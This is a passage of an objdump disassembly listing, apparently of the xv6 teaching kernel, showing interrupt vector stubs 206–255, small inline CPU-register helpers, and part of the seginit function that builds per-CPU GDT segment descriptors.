8010795e <vector206>:
.globl vector206
vector206:
pushl $0
8010795e: 6a 00 push $0x0
pushl $206
80107960: 68 ce 00 00 00 push $0xce
jmp alltraps
80107965: e9 4a f1 ff ff jmp 80106ab4 <alltraps>
8010796a <vector207>:
.globl vector207
vector207:
pushl $0
8010796a: 6a 00 push $0x0
pushl $207
8010796c: 68 cf 00 00 00 push $0xcf
jmp alltraps
80107971: e9 3e f1 ff ff jmp 80106ab4 <alltraps>
80107976 <vector208>:
.globl vector208
vector208:
pushl $0
80107976: 6a 00 push $0x0
pushl $208
80107978: 68 d0 00 00 00 push $0xd0
jmp alltraps
8010797d: e9 32 f1 ff ff jmp 80106ab4 <alltraps>
80107982 <vector209>:
.globl vector209
vector209:
pushl $0
80107982: 6a 00 push $0x0
pushl $209
80107984: 68 d1 00 00 00 push $0xd1
jmp alltraps
80107989: e9 26 f1 ff ff jmp 80106ab4 <alltraps>
8010798e <vector210>:
.globl vector210
vector210:
pushl $0
8010798e: 6a 00 push $0x0
pushl $210
80107990: 68 d2 00 00 00 push $0xd2
jmp alltraps
80107995: e9 1a f1 ff ff jmp 80106ab4 <alltraps>
8010799a <vector211>:
.globl vector211
vector211:
pushl $0
8010799a: 6a 00 push $0x0
pushl $211
8010799c: 68 d3 00 00 00 push $0xd3
jmp alltraps
801079a1: e9 0e f1 ff ff jmp 80106ab4 <alltraps>
801079a6 <vector212>:
.globl vector212
vector212:
pushl $0
801079a6: 6a 00 push $0x0
pushl $212
801079a8: 68 d4 00 00 00 push $0xd4
jmp alltraps
801079ad: e9 02 f1 ff ff jmp 80106ab4 <alltraps>
801079b2 <vector213>:
.globl vector213
vector213:
pushl $0
801079b2: 6a 00 push $0x0
pushl $213
801079b4: 68 d5 00 00 00 push $0xd5
jmp alltraps
801079b9: e9 f6 f0 ff ff jmp 80106ab4 <alltraps>
801079be <vector214>:
.globl vector214
vector214:
pushl $0
801079be: 6a 00 push $0x0
pushl $214
801079c0: 68 d6 00 00 00 push $0xd6
jmp alltraps
801079c5: e9 ea f0 ff ff jmp 80106ab4 <alltraps>
801079ca <vector215>:
.globl vector215
vector215:
pushl $0
801079ca: 6a 00 push $0x0
pushl $215
801079cc: 68 d7 00 00 00 push $0xd7
jmp alltraps
801079d1: e9 de f0 ff ff jmp 80106ab4 <alltraps>
801079d6 <vector216>:
.globl vector216
vector216:
pushl $0
801079d6: 6a 00 push $0x0
pushl $216
801079d8: 68 d8 00 00 00 push $0xd8
jmp alltraps
801079dd: e9 d2 f0 ff ff jmp 80106ab4 <alltraps>
801079e2 <vector217>:
.globl vector217
vector217:
pushl $0
801079e2: 6a 00 push $0x0
pushl $217
801079e4: 68 d9 00 00 00 push $0xd9
jmp alltraps
801079e9: e9 c6 f0 ff ff jmp 80106ab4 <alltraps>
801079ee <vector218>:
.globl vector218
vector218:
pushl $0
801079ee: 6a 00 push $0x0
pushl $218
801079f0: 68 da 00 00 00 push $0xda
jmp alltraps
801079f5: e9 ba f0 ff ff jmp 80106ab4 <alltraps>
801079fa <vector219>:
.globl vector219
vector219:
pushl $0
801079fa: 6a 00 push $0x0
pushl $219
801079fc: 68 db 00 00 00 push $0xdb
jmp alltraps
80107a01: e9 ae f0 ff ff jmp 80106ab4 <alltraps>
80107a06 <vector220>:
.globl vector220
vector220:
pushl $0
80107a06: 6a 00 push $0x0
pushl $220
80107a08: 68 dc 00 00 00 push $0xdc
jmp alltraps
80107a0d: e9 a2 f0 ff ff jmp 80106ab4 <alltraps>
80107a12 <vector221>:
.globl vector221
vector221:
pushl $0
80107a12: 6a 00 push $0x0
pushl $221
80107a14: 68 dd 00 00 00 push $0xdd
jmp alltraps
80107a19: e9 96 f0 ff ff jmp 80106ab4 <alltraps>
80107a1e <vector222>:
.globl vector222
vector222:
pushl $0
80107a1e: 6a 00 push $0x0
pushl $222
80107a20: 68 de 00 00 00 push $0xde
jmp alltraps
80107a25: e9 8a f0 ff ff jmp 80106ab4 <alltraps>
80107a2a <vector223>:
.globl vector223
vector223:
pushl $0
80107a2a: 6a 00 push $0x0
pushl $223
80107a2c: 68 df 00 00 00 push $0xdf
jmp alltraps
80107a31: e9 7e f0 ff ff jmp 80106ab4 <alltraps>
80107a36 <vector224>:
.globl vector224
vector224:
pushl $0
80107a36: 6a 00 push $0x0
pushl $224
80107a38: 68 e0 00 00 00 push $0xe0
jmp alltraps
80107a3d: e9 72 f0 ff ff jmp 80106ab4 <alltraps>
80107a42 <vector225>:
.globl vector225
vector225:
pushl $0
80107a42: 6a 00 push $0x0
pushl $225
80107a44: 68 e1 00 00 00 push $0xe1
jmp alltraps
80107a49: e9 66 f0 ff ff jmp 80106ab4 <alltraps>
80107a4e <vector226>:
.globl vector226
vector226:
pushl $0
80107a4e: 6a 00 push $0x0
pushl $226
80107a50: 68 e2 00 00 00 push $0xe2
jmp alltraps
80107a55: e9 5a f0 ff ff jmp 80106ab4 <alltraps>
80107a5a <vector227>:
.globl vector227
vector227:
pushl $0
80107a5a: 6a 00 push $0x0
pushl $227
80107a5c: 68 e3 00 00 00 push $0xe3
jmp alltraps
80107a61: e9 4e f0 ff ff jmp 80106ab4 <alltraps>
80107a66 <vector228>:
.globl vector228
vector228:
pushl $0
80107a66: 6a 00 push $0x0
pushl $228
80107a68: 68 e4 00 00 00 push $0xe4
jmp alltraps
80107a6d: e9 42 f0 ff ff jmp 80106ab4 <alltraps>
80107a72 <vector229>:
.globl vector229
vector229:
pushl $0
80107a72: 6a 00 push $0x0
pushl $229
80107a74: 68 e5 00 00 00 push $0xe5
jmp alltraps
80107a79: e9 36 f0 ff ff jmp 80106ab4 <alltraps>
80107a7e <vector230>:
.globl vector230
vector230:
pushl $0
80107a7e: 6a 00 push $0x0
pushl $230
80107a80: 68 e6 00 00 00 push $0xe6
jmp alltraps
80107a85: e9 2a f0 ff ff jmp 80106ab4 <alltraps>
80107a8a <vector231>:
.globl vector231
vector231:
pushl $0
80107a8a: 6a 00 push $0x0
pushl $231
80107a8c: 68 e7 00 00 00 push $0xe7
jmp alltraps
80107a91: e9 1e f0 ff ff jmp 80106ab4 <alltraps>
80107a96 <vector232>:
.globl vector232
vector232:
pushl $0
80107a96: 6a 00 push $0x0
pushl $232
80107a98: 68 e8 00 00 00 push $0xe8
jmp alltraps
80107a9d: e9 12 f0 ff ff jmp 80106ab4 <alltraps>
80107aa2 <vector233>:
.globl vector233
vector233:
pushl $0
80107aa2: 6a 00 push $0x0
pushl $233
80107aa4: 68 e9 00 00 00 push $0xe9
jmp alltraps
80107aa9: e9 06 f0 ff ff jmp 80106ab4 <alltraps>
80107aae <vector234>:
.globl vector234
vector234:
pushl $0
80107aae: 6a 00 push $0x0
pushl $234
80107ab0: 68 ea 00 00 00 push $0xea
jmp alltraps
80107ab5: e9 fa ef ff ff jmp 80106ab4 <alltraps>
80107aba <vector235>:
.globl vector235
vector235:
pushl $0
80107aba: 6a 00 push $0x0
pushl $235
80107abc: 68 eb 00 00 00 push $0xeb
jmp alltraps
80107ac1: e9 ee ef ff ff jmp 80106ab4 <alltraps>
80107ac6 <vector236>:
.globl vector236
vector236:
pushl $0
80107ac6: 6a 00 push $0x0
pushl $236
80107ac8: 68 ec 00 00 00 push $0xec
jmp alltraps
80107acd: e9 e2 ef ff ff jmp 80106ab4 <alltraps>
80107ad2 <vector237>:
.globl vector237
vector237:
pushl $0
80107ad2: 6a 00 push $0x0
pushl $237
80107ad4: 68 ed 00 00 00 push $0xed
jmp alltraps
80107ad9: e9 d6 ef ff ff jmp 80106ab4 <alltraps>
80107ade <vector238>:
.globl vector238
vector238:
pushl $0
80107ade: 6a 00 push $0x0
pushl $238
80107ae0: 68 ee 00 00 00 push $0xee
jmp alltraps
80107ae5: e9 ca ef ff ff jmp 80106ab4 <alltraps>
80107aea <vector239>:
.globl vector239
vector239:
pushl $0
80107aea: 6a 00 push $0x0
pushl $239
80107aec: 68 ef 00 00 00 push $0xef
jmp alltraps
80107af1: e9 be ef ff ff jmp 80106ab4 <alltraps>
80107af6 <vector240>:
.globl vector240
vector240:
pushl $0
80107af6: 6a 00 push $0x0
pushl $240
80107af8: 68 f0 00 00 00 push $0xf0
jmp alltraps
80107afd: e9 b2 ef ff ff jmp 80106ab4 <alltraps>
80107b02 <vector241>:
.globl vector241
vector241:
pushl $0
80107b02: 6a 00 push $0x0
pushl $241
80107b04: 68 f1 00 00 00 push $0xf1
jmp alltraps
80107b09: e9 a6 ef ff ff jmp 80106ab4 <alltraps>
80107b0e <vector242>:
.globl vector242
vector242:
pushl $0
80107b0e: 6a 00 push $0x0
pushl $242
80107b10: 68 f2 00 00 00 push $0xf2
jmp alltraps
80107b15: e9 9a ef ff ff jmp 80106ab4 <alltraps>
80107b1a <vector243>:
.globl vector243
vector243:
pushl $0
80107b1a: 6a 00 push $0x0
pushl $243
80107b1c: 68 f3 00 00 00 push $0xf3
jmp alltraps
80107b21: e9 8e ef ff ff jmp 80106ab4 <alltraps>
80107b26 <vector244>:
.globl vector244
vector244:
pushl $0
80107b26: 6a 00 push $0x0
pushl $244
80107b28: 68 f4 00 00 00 push $0xf4
jmp alltraps
80107b2d: e9 82 ef ff ff jmp 80106ab4 <alltraps>
80107b32 <vector245>:
.globl vector245
vector245:
pushl $0
80107b32: 6a 00 push $0x0
pushl $245
80107b34: 68 f5 00 00 00 push $0xf5
jmp alltraps
80107b39: e9 76 ef ff ff jmp 80106ab4 <alltraps>
80107b3e <vector246>:
.globl vector246
vector246:
pushl $0
80107b3e: 6a 00 push $0x0
pushl $246
80107b40: 68 f6 00 00 00 push $0xf6
jmp alltraps
80107b45: e9 6a ef ff ff jmp 80106ab4 <alltraps>
80107b4a <vector247>:
.globl vector247
vector247:
pushl $0
80107b4a: 6a 00 push $0x0
pushl $247
80107b4c: 68 f7 00 00 00 push $0xf7
jmp alltraps
80107b51: e9 5e ef ff ff jmp 80106ab4 <alltraps>
80107b56 <vector248>:
.globl vector248
vector248:
pushl $0
80107b56: 6a 00 push $0x0
pushl $248
80107b58: 68 f8 00 00 00 push $0xf8
jmp alltraps
80107b5d: e9 52 ef ff ff jmp 80106ab4 <alltraps>
80107b62 <vector249>:
.globl vector249
vector249:
pushl $0
80107b62: 6a 00 push $0x0
pushl $249
80107b64: 68 f9 00 00 00 push $0xf9
jmp alltraps
80107b69: e9 46 ef ff ff jmp 80106ab4 <alltraps>
80107b6e <vector250>:
.globl vector250
vector250:
pushl $0
80107b6e: 6a 00 push $0x0
pushl $250
80107b70: 68 fa 00 00 00 push $0xfa
jmp alltraps
80107b75: e9 3a ef ff ff jmp 80106ab4 <alltraps>
80107b7a <vector251>:
.globl vector251
vector251:
pushl $0
80107b7a: 6a 00 push $0x0
pushl $251
80107b7c: 68 fb 00 00 00 push $0xfb
jmp alltraps
80107b81: e9 2e ef ff ff jmp 80106ab4 <alltraps>
80107b86 <vector252>:
.globl vector252
vector252:
pushl $0
80107b86: 6a 00 push $0x0
pushl $252
80107b88: 68 fc 00 00 00 push $0xfc
jmp alltraps
80107b8d: e9 22 ef ff ff jmp 80106ab4 <alltraps>
80107b92 <vector253>:
.globl vector253
vector253:
pushl $0
80107b92: 6a 00 push $0x0
pushl $253
80107b94: 68 fd 00 00 00 push $0xfd
jmp alltraps
80107b99: e9 16 ef ff ff jmp 80106ab4 <alltraps>
80107b9e <vector254>:
.globl vector254
vector254:
pushl $0
80107b9e: 6a 00 push $0x0
pushl $254
80107ba0: 68 fe 00 00 00 push $0xfe
jmp alltraps
80107ba5: e9 0a ef ff ff jmp 80106ab4 <alltraps>
80107baa <vector255>:
.globl vector255
vector255:
pushl $0
80107baa: 6a 00 push $0x0
pushl $255
80107bac: 68 ff 00 00 00 push $0xff
jmp alltraps
80107bb1: e9 fe ee ff ff jmp 80106ab4 <alltraps>
...
80107bb8 <lgdt>:
struct segdesc;
static inline void
lgdt(struct segdesc *p, int size)
{
80107bb8: 55 push %ebp
80107bb9: 89 e5 mov %esp,%ebp
80107bbb: 83 ec 10 sub $0x10,%esp
volatile ushort pd[3];
pd[0] = size-1;
80107bbe: 8b 45 0c mov 0xc(%ebp),%eax
80107bc1: 83 e8 01 sub $0x1,%eax
80107bc4: 66 89 45 fa mov %ax,-0x6(%ebp)
pd[1] = (uint)p;
80107bc8: 8b 45 08 mov 0x8(%ebp),%eax
80107bcb: 66 89 45 fc mov %ax,-0x4(%ebp)
pd[2] = (uint)p >> 16;
80107bcf: 8b 45 08 mov 0x8(%ebp),%eax
80107bd2: c1 e8 10 shr $0x10,%eax
80107bd5: 66 89 45 fe mov %ax,-0x2(%ebp)
asm volatile("lgdt (%0)" : : "r" (pd));
80107bd9: 8d 45 fa lea -0x6(%ebp),%eax
80107bdc: 0f 01 10 lgdtl (%eax)
}
80107bdf: c9 leave
80107be0: c3 ret
80107be1 <ltr>:
asm volatile("lidt (%0)" : : "r" (pd));
}
static inline void
ltr(ushort sel)
{
80107be1: 55 push %ebp
80107be2: 89 e5 mov %esp,%ebp
80107be4: 83 ec 04 sub $0x4,%esp
80107be7: 8b 45 08 mov 0x8(%ebp),%eax
80107bea: 66 89 45 fc mov %ax,-0x4(%ebp)
asm volatile("ltr %0" : : "r" (sel));
80107bee: 0f b7 45 fc movzwl -0x4(%ebp),%eax
80107bf2: 0f 00 d8 ltr %ax
}
80107bf5: c9 leave
80107bf6: c3 ret
80107bf7 <loadgs>:
return eflags;
}
static inline void
loadgs(ushort v)
{
80107bf7: 55 push %ebp
80107bf8: 89 e5 mov %esp,%ebp
80107bfa: 83 ec 04 sub $0x4,%esp
80107bfd: 8b 45 08 mov 0x8(%ebp),%eax
80107c00: 66 89 45 fc mov %ax,-0x4(%ebp)
asm volatile("movw %0, %%gs" : : "r" (v));
80107c04: 0f b7 45 fc movzwl -0x4(%ebp),%eax
80107c08: 8e e8 mov %eax,%gs
}
80107c0a: c9 leave
80107c0b: c3 ret
80107c0c <lcr3>:
return val;
}
static inline void
lcr3(uint val)
{
80107c0c: 55 push %ebp
80107c0d: 89 e5 mov %esp,%ebp
asm volatile("movl %0,%%cr3" : : "r" (val));
80107c0f: 8b 45 08 mov 0x8(%ebp),%eax
80107c12: 0f 22 d8 mov %eax,%cr3
}
80107c15: 5d pop %ebp
80107c16: c3 ret
80107c17 <v2p>:
#define KERNBASE 0x80000000 // First kernel virtual address
#define KERNLINK (KERNBASE+EXTMEM) // Address where kernel is linked
#ifndef __ASSEMBLER__
static inline uint v2p(void *a) { return ((uint) (a)) - KERNBASE; }
80107c17: 55 push %ebp
80107c18: 89 e5 mov %esp,%ebp
80107c1a: 8b 45 08 mov 0x8(%ebp),%eax
80107c1d: 05 00 00 00 80 add $0x80000000,%eax
80107c22: 5d pop %ebp
80107c23: c3 ret
80107c24 <p2v>:
static inline void *p2v(uint a) { return (void *) ((a) + KERNBASE); }
80107c24: 55 push %ebp
80107c25: 89 e5 mov %esp,%ebp
80107c27: 8b 45 08 mov 0x8(%ebp),%eax
80107c2a: 05 00 00 00 80 add $0x80000000,%eax
80107c2f: 5d pop %ebp
80107c30: c3 ret
80107c31 <seginit>:
// Set up CPU's kernel segment descriptors.
// Run once on entry on each CPU.
void
seginit(void)
{
80107c31: 55 push %ebp
80107c32: 89 e5 mov %esp,%ebp
80107c34: 53 push %ebx
80107c35: 83 ec 24 sub $0x24,%esp
// Map "logical" addresses to virtual addresses using identity map.
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
80107c38: e8 86 b2 ff ff call 80102ec3 <cpunum>
80107c3d: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax
80107c43: 05 80 33 11 80 add $0x80113380,%eax
80107c48: 89 45 f4 mov %eax,-0xc(%ebp)
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
80107c4b: 8b 45 f4 mov -0xc(%ebp),%eax
80107c4e: 66 c7 40 78 ff ff movw $0xffff,0x78(%eax)
80107c54: 8b 45 f4 mov -0xc(%ebp),%eax
80107c57: 66 c7 40 7a 00 00 movw $0x0,0x7a(%eax)
80107c5d: 8b 45 f4 mov -0xc(%ebp),%eax
80107c60: c6 40 7c 00 movb $0x0,0x7c(%eax)
80107c64: 8b 45 f4 mov -0xc(%ebp),%eax
80107c67: 0f b6 50 7d movzbl 0x7d(%eax),%edx
80107c6b: 83 e2 f0 and $0xfffffff0,%edx
80107c6e: 83 ca 0a or $0xa,%edx
80107c71: 88 50 7d mov %dl,0x7d(%eax)
80107c74: 8b 45 f4 mov -0xc(%ebp),%eax
80107c77: 0f b6 50 7d movzbl 0x7d(%eax),%edx
80107c7b: 83 ca 10 or $0x10,%edx
80107c7e: 88 50 7d mov %dl,0x7d(%eax)
80107c81: 8b 45 f4 mov -0xc(%ebp),%eax
80107c84: 0f b6 50 7d movzbl 0x7d(%eax),%edx
80107c88: 83 e2 9f and $0xffffff9f,%edx
80107c8b: 88 50 7d mov %dl,0x7d(%eax)
80107c8e: 8b 45 f4 mov -0xc(%ebp),%eax
80107c91: 0f b6 50 7d movzbl 0x7d(%eax),%edx
80107c95: 83 ca 80 or $0xffffff80,%edx
80107c98: 88 50 7d mov %dl,0x7d(%eax)
80107c9b: 8b 45 f4 mov -0xc(%ebp),%eax
80107c9e: 0f b6 50 7e movzbl 0x7e(%eax),%edx
80107ca2: 83 ca 0f or $0xf,%edx
80107ca5: 88 50 7e mov %dl,0x7e(%eax)
80107ca8: 8b 45 f4 mov -0xc(%ebp),%eax
80107cab: 0f b6 50 7e movzbl 0x7e(%eax),%edx
80107caf: 83 e2 ef and $0xffffffef,%edx
80107cb2: 88 50 7e mov %dl,0x7e(%eax)
80107cb5: 8b 45 f4 mov -0xc(%ebp),%eax
80107cb8: 0f b6 50 7e movzbl 0x7e(%eax),%edx
80107cbc: 83 e2 df and $0xffffffdf,%edx
80107cbf: 88 50 7e mov %dl,0x7e(%eax)
80107cc2: 8b 45 f4 mov -0xc(%ebp),%eax
80107cc5: 0f b6 50 7e movzbl 0x7e(%eax),%edx
80107cc9: 83 ca 40 or $0x40,%edx
80107ccc: 88 50 7e mov %dl,0x7e(%eax)
80107ccf: 8b 45 f4 mov -0xc(%ebp),%eax
80107cd2: 0f b6 50 7e movzbl 0x7e(%eax),%edx
80107cd6: 83 ca 80 or $0xffffff80,%edx
80107cd9: 88 50 7e mov %dl,0x7e(%eax)
80107cdc: 8b 45 f4 mov -0xc(%ebp),%eax
80107cdf: c6 40 7f 00 movb $0x0,0x7f(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
80107ce3: 8b 45 f4 mov -0xc(%ebp),%eax
80107ce6: 66 c7 80 80 00 00 00 movw $0xffff,0x80(%eax)
80107ced: ff ff
80107cef: 8b 45 f4 mov -0xc(%ebp),%eax
80107cf2: 66 c7 80 82 00 00 00 movw $0x0,0x82(%eax)
80107cf9: 00 00
80107cfb: 8b 45 f4 mov -0xc(%ebp),%eax
80107cfe: c6 80 84 00 00 00 00 movb $0x0,0x84(%eax)
80107d05: 8b 45 f4 mov -0xc(%ebp),%eax
80107d08: 0f b6 90 85 00 00 00 movzbl 0x85(%eax),%edx
80107d0f: 83 e2 f0 and $0xfffffff0,%edx
80107d12: 83 ca 02 or $0x2,%edx
80107d15: 88 90 85 00 00 00 mov %dl,0x85(%eax)
80107d1b: 8b 45 f4 mov -0xc(%ebp),%eax
80107d1e: 0f b6 90 85 00 00 00 movzbl 0x85(%eax),%edx
80107d25: 83 ca 10 or $0x10,%edx
80107d28: 88 90 85 00 00 00 mov %dl,0x85(%eax)
80107d2e: 8b 45 f4 mov -0xc(%ebp),%eax
80107d31: 0f b6 90 85 00 00 00 movzbl 0x85(%eax),%edx
80107d38: 83 e2 9f and $0xffffff9f,%edx
80107d3b: 88 90 85 00 00 00 mov %dl,0x85(%eax)
80107d41: 8b 45 f4 mov -0xc(%ebp),%eax
80107d44: 0f b6 90 85 00 00 00 movzbl 0x85(%eax),%edx
80107d4b: 83 ca 80 or $0xffffff80,%edx
80107d4e: 88 90 85 00 00 00 mov %dl,0x85(%eax)
80107d54: 8b 45 f4 mov -0xc(%ebp),%eax
80107d57: 0f b6 90 86 00 00 00 movzbl 0x86(%eax),%edx
80107d5e: 83 ca 0f or $0xf,%edx
80107d61: 88 90 86 00 00 00 mov %dl,0x86(%eax)
80107d67: 8b 45 f4 mov -0xc(%ebp),%eax
80107d6a: 0f b6 90 86 00 00 00 movzbl 0x86(%eax),%edx
80107d71: 83 e2 ef and $0xffffffef,%edx
80107d74: 88 90 86 00 00 00 mov %dl,0x86(%eax)
80107d7a: 8b 45 f4 mov -0xc(%ebp),%eax
80107d7d: 0f b6 90 86 00 00 00 movzbl 0x86(%eax),%edx
80107d84: 83 e2 df and $0xffffffdf,%edx
80107d87: 88 90 86 00 00 00 mov %dl,0x86(%eax)
80107d8d: 8b 45 f4 mov -0xc(%ebp),%eax
80107d90: 0f b6 90 86 00 00 00 movzbl 0x86(%eax),%edx
80107d97: 83 ca 40 or $0x40,%edx
80107d9a: 88 90 86 00 00 00 mov %dl,0x86(%eax)
80107da0: 8b 45 f4 mov -0xc(%ebp),%eax
80107da3: 0f b6 90 86 00 00 00 movzbl 0x86(%eax),%edx
80107daa: 83 ca 80 or $0xffffff80,%edx
80107dad: 88 90 86 00 00 00 mov %dl,0x86(%eax)
80107db3: 8b 45 f4 mov -0xc(%ebp),%eax
80107db6: c6 80 87 00 00 00 00 movb $0x0,0x87(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
80107dbd: 8b 45 f4 mov -0xc(%ebp),%eax
80107dc0: 66 c7 80 90 00 00 00 movw $0xffff,0x90(%eax)
80107dc7: ff ff
80107dc9: 8b 45 f4 mov -0xc(%ebp),%eax
80107dcc: 66 c7 80 92 00 00 00 movw $0x0,0x92(%eax)
80107dd3: 00 00
80107dd5: 8b 45 f4 mov -0xc(%ebp),%eax
80107dd8: c6 80 94 00 00 00 00 movb $0x0,0x94(%eax)
80107ddf: 8b 45 f4 mov -0xc(%ebp),%eax
80107de2: 0f b6 90 95 00 00 00 movzbl 0x95(%eax),%edx
80107de9: 83 e2 f0 and $0xfffffff0,%edx
80107dec: 83 ca 0a or $0xa,%edx
80107def: 88 90 95 00 00 00 mov %dl,0x95(%eax)
80107df5: 8b 45 f4 mov -0xc(%ebp),%eax
80107df8: 0f b6 90 95 00 00 00 movzbl 0x95(%eax),%edx
80107dff: 83 ca 10 or $0x10,%edx
80107e02: 88 90 95 00 00 00 mov %dl,0x95(%eax)
80107e08: 8b 45 f4 mov -0xc(%ebp),%eax
80107e0b: 0f b6 90 95 00 00 00 movzbl 0x95(%eax),%edx
80107e12: 83 ca 60 or $0x60,%edx
80107e15: 88 90 95 00 00 00 mov %dl,0x95(%eax)
80107e1b: 8b 45 f4 mov -0xc(%ebp),%eax
80107e1e: 0f b6 90 95 00 00 00 movzbl 0x95(%eax),%edx
80107e25: 83 ca 80 or $0xffffff80,%edx
80107e28: 88 90 95 00 00 00 mov %dl,0x95(%eax)
80107e2e: 8b 45 f4 mov -0xc(%ebp),%eax
80107e31: 0f b6 90 96 00 00 00 movzbl 0x96(%eax),%edx
80107e38: 83 ca 0f or $0xf,%edx
80107e3b: 88 90 96 00 00 00 mov %dl,0x96(%eax)
80107e41: 8b 45 f4 mov -0xc(%ebp),%eax
80107e44: 0f b6 90 96 00 00 00 movzbl 0x96(%eax),%edx
80107e4b: 83 e2 ef and $0xffffffef,%edx
80107e4e: 88 90 96 00 00 00 mov %dl,0x96(%eax)
80107e54: 8b 45 f4 mov -0xc(%ebp),%eax
80107e57: 0f b6 90 96 00 00 00 movzbl 0x96(%eax),%edx
80107e5e: 83 e2 df and $0xffffffdf,%edx
80107e61: 88 90 96 00 00 00 mov %dl,0x96(%eax)
80107e67: 8b 45 f4 mov -0xc(%ebp),%eax
80107e6a: 0f b6 90 96 00 00 00 movzbl 0x96(%eax),%edx
80107e71: 83 ca 40 or $0x40,%edx
80107e74: 88 90 96 00 00 00 mov %dl,0x96(%eax)
80107e7a: 8b 45 f4 mov -0xc(%ebp),%eax
80107e7d: 0f b6 90 96 00 00 00 movzbl 0x96(%eax),%edx
80107e84: 83 ca 80 or $0xffffff80,%edx
80107e87: 88 90 96 00 00 00 mov %dl,0x96(%eax)
80107e8d: 8b 45 f4 mov -0xc(%ebp),%eax
80107e90: c6 80 97 00 00 00 00 movb $0x0,0x97(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
80107e97: 8b 45 f4 mov -0xc(%ebp),%eax
80107e9a: 66 c7 80 98 00 00 00 movw $0xffff,0x98(%eax)
80107ea1: ff ff
80107ea3: 8b 45 f4 mov -0xc(%ebp),%eax
80107ea6: 66 c7 80 9a 00 00 00 movw $0x0,0x9a(%eax)
80107ead: 00 00
80107eaf: 8b 45 f4 mov -0xc(%ebp),%eax
80107eb2: c6 80 9c 00 00 00 00 movb $0x0,0x9c(%eax)
80107eb9: 8b 45 f4 mov -0xc(%ebp),%eax
80107ebc: 0f b6 90 9d 00 00 00 movzbl 0x9d(%eax),%edx
80107ec3: 83 e2 f0 and $0xfffffff0,%edx
80107ec6: 83 ca 02 or $0x2,%edx
80107ec9: 88 90 9d 00 00 00 mov %dl,0x9d(%eax)
80107ecf: 8b 45 f4 mov -0xc(%ebp),%eax
80107ed2: 0f b6 90 9d 00 00 00 movzbl 0x9d(%eax),%edx
80107ed9: 83 ca 10 or $0x10,%edx
80107edc: 88 90 9d 00 00 00 mov %dl,0x9d(%eax)
80107ee2: 8b 45 f4 mov -0xc(%ebp),%eax
80107ee5: 0f b6 90 9d 00 00 00 movzbl 0x9d(%eax),%edx
80107eec: 83 ca 60 or $0x60,%edx
80107eef: 88 90 9d 00 00 00 mov %dl,0x9d(%eax)
80107ef5: 8b 45 f4 mov -0xc(%ebp),%eax
80107ef8: 0f b6 90 9d 00 00 00 movzbl 0x9d(%eax),%edx
80107eff: 83 ca 80 or $0xffffff80,%edx
80107f02: 88 90 9d 00 00 00 mov %dl,0x9d(%eax)
80107f08: 8b 45 f4 mov -0xc(%ebp),%eax
80107f0b: 0f b6 90 9e 00 00 00 movzbl 0x9e(%eax),%edx
80107f12: 83 ca 0f or $0xf,%edx
80107f15: 88 90 9e 00 00 00 mov %dl,0x9e(%eax)
80107f1b: 8b 45 f4 mov -0xc(%ebp),%eax
80107f1e: 0f b6 90 9e 00 00 00 movzbl 0x9e(%eax),%edx
80107f25: 83 e2 ef and $0xffffffef,%edx
80107f28: 88 90 9e 00 00 00 mov %dl,0x9e(%eax)
80107f2e: 8b 45 f4 mov -0xc(%ebp),%eax
80107f31: 0f b6 90 9e 00 00 00 movzbl 0x9e(%eax),%edx
80107f38: 83 e2 df and $0xffffffdf,%edx
80107f3b: 88 90 9e 00 00 00 mov %dl,0x9e(%eax)
80107f41: 8b 45 f4 mov -0xc(%ebp),%eax
80107f44: 0f b6 90 9e 00 00 00 movzbl 0x9e(%eax),%edx
80107f4b: 83 ca 40 or $0x40,%edx
80107f4e: 88 90 9e 00 00 00 mov %dl,0x9e(%eax)
80107f54: 8b 45 f4 mov -0xc(%ebp),%eax
80107f57: 0f b6 90 9e 00 00 00 movzbl 0x9e(%eax),%edx
80107f5e: 83 ca 80 or $0xffffff80,%edx
80107f61: 88 90 9e 00 00 00 mov %dl,0x9e(%eax)
80107f67: 8b 45 f4 mov -0xc(%ebp),%eax
80107f6a: c6 80 9f 00 00 00 00 movb $0x0,0x9f(%eax)
// Map cpu, and curproc
c->gdt[SEG_KCPU] = SEG(STA_W, &c->cpu, 8, 0);
80107f71: 8b 45 f4 mov -0xc(%ebp),%eax
80107f74: 05 b4 00 00 00 add $0xb4,%eax
80107f79: 89 c3 mov %eax,%ebx
80107f7b: 8b 45 f4 mov -0xc(%ebp),%eax
80107f7e: 05 b4 00 00 00 add $0xb4,%eax
80107f83: c1 e8 10 shr $0x10,%eax
80107f86: 89 c1 mov %eax,%ecx
80107f88: 8b 45 f4 mov -0xc(%ebp),%eax
80107f8b: 05 b4 00 00 00 add $0xb4,%eax
80107f90: c1 e8 18 shr $0x18,%eax
80107f93: 89 c2 mov %eax,%edx
80107f95: 8b 45 f4 mov -0xc(%ebp),%eax
80107f98: 66 c7 80 88 00 00 00 movw $0x0,0x88(%eax)
80107f9f: 00 00
80107fa1: 8b 45 f4 mov -0xc(%ebp),%eax
80107fa4: 66 89 98 8a 00 00 00 mov %bx,0x8a(%eax)
80107fab: 8b 45 f4 mov -0xc(%ebp),%eax
80107fae: 88 88 8c 00 00 00 mov %cl,0x8c(%eax)
80107fb4: 8b 45 f4 mov -0xc(%ebp),%eax
80107fb7: 0f b6 88 8d 00 00 00 movzbl 0x8d(%eax),%ecx
80107fbe: 83 e1 f0 and $0xfffffff0,%ecx
80107fc1: 83 c9 02 or $0x2,%ecx
80107fc4: 88 88 8d 00 00 00 mov %cl,0x8d(%eax)
80107fca: 8b 45 f4 mov -0xc(%ebp),%eax
80107fcd: 0f b6 88 8d 00 00 00 movzbl 0x8d(%eax),%ecx
80107fd4: 83 c9 10 or $0x10,%ecx
80107fd7: 88 88 8d 00 00 00 mov %cl,0x8d(%eax)
80107fdd: 8b 45 f4 mov -0xc(%ebp),%eax
80107fe0: 0f b6 88 8d 00 00 00 movzbl 0x8d(%eax),%ecx
80107fe7: 83 e1 9f and $0xffffff9f,%ecx
80107fea: 88 88 8d 00 00 00 mov %cl,0x8d(%eax)
80107ff0: 8b 45 f4 mov -0xc(%ebp),%eax
80107ff3: 0f b6 88 8d 00 00 00 movzbl 0x8d(%eax),%ecx
